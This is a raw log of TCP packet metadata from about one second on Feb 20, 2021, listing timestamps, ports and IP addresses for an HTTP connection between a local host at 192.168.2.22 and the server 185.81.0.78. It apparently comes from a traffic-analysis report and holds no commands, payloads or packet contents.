Feb 20, 2021 02:03:51.467627048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.469172001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.469783068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.469865084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.469918013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.469984055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.470377922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470402002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470418930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470434904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470438004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.470453024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.470469952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.470851898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470870018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470886946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.470911980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.470940113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471082926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471100092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471146107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471213102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471230984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471262932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471271992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471285105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471291065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471307993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471308947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471324921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471328974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471343040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471362114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471371889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471390009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471396923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471427917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471445084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471456051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471470118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471488953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471498013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471554041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471556902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471570015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471605062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471616030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471623898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471642017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471674919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471692085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.471718073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.471771002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.494232893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.494406939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.494838953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.504664898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.504704952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.504936934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.504972935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.505059958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.505955935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506019115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506052017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506053925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506088018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506122112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506133080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506201982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506206036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506249905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506266117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506289005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506310940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506323099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506352901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506391048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506397009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506431103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506458998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506481886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.506671906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.506731033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507611990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507648945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507683039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507688046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507714987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507742882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507755041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507798910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507823944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507859945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507870913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.507936954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.507957935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508027077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508054972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508105993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508125067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508161068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508235931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508271933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508306026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508311033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508342981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508346081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508362055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508394957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508399010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508431911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508465052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508466959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508486986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508501053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508523941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508543015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508557081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508582115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508606911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508615971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508636951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508651018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508671045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508685112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508708000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508718014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508728981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508752108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508776903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508785963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508805037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508840084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.508918047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.508996964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.516052961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.516094923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.516135931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.516163111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.516169071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.516247988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.518054008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.518095016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.518134117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.518158913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.520910025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.520999908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.521008968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.521063089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523255110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523319960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523356915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523355961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523380041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523407936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523576975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523616076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523648024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523653030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523669004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523709059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523729086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523777962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523782969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523818970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523833036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523855925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523871899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523895025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.523902893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.523947954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525286913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525335073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525366068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525382042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525427103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525497913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525501013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525538921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525557041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525576115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525592089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525614023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525631905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525655985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525661945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525705099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525724888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525764942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525777102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525803089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525821924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525857925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525873899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525921106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.525928020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.525973082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526006937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526060104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526082039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526134968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526206017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526246071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526258945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526295900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526314020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526369095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526376963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526420116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526432991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526469946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526484966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526506901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526521921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526545048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526560068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526593924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526593924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526643991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526668072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526710987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526719093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526748896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526766062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526794910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526813030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526851892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526865959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526886940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526905060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526933908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526942015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.526977062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.526984930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527031898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527050018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527106047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527146101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527187109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527204037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527246952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527271032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527318954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527328014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527359009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527376890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527396917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527410984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527434111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527451038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527472019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527489901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527508974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527525902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527563095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527681112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527740955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527744055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527784109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527797937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527837038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527867079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.527920961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.527940035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528000116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528003931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528057098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528100967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528143883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528158903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528189898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528198957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528232098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528249025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528270960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528285027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528326035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528386116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528422117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528445005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528459072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528471947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528517008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528604984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528650999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528666973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528698921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528707027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528749943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528757095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528803110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528844118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528881073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.528899908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.528935909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529047012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529088020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529110909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529150009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529167891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529236078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529236078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529289961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529366970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529442072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529510975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529555082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529571056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529608011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529618025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529655933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529676914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529694080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529706955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529747963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529752970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529792070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529828072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529844999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529879093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529902935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.529912949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529953957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.529973030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530013084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530023098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530060053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530077934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530112028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530128002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530172110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530185938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530236006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530256033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530281067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530303001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530332088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530344009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530381918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530394077 CET	49165	80	192.168.2.22	185.81.0.78
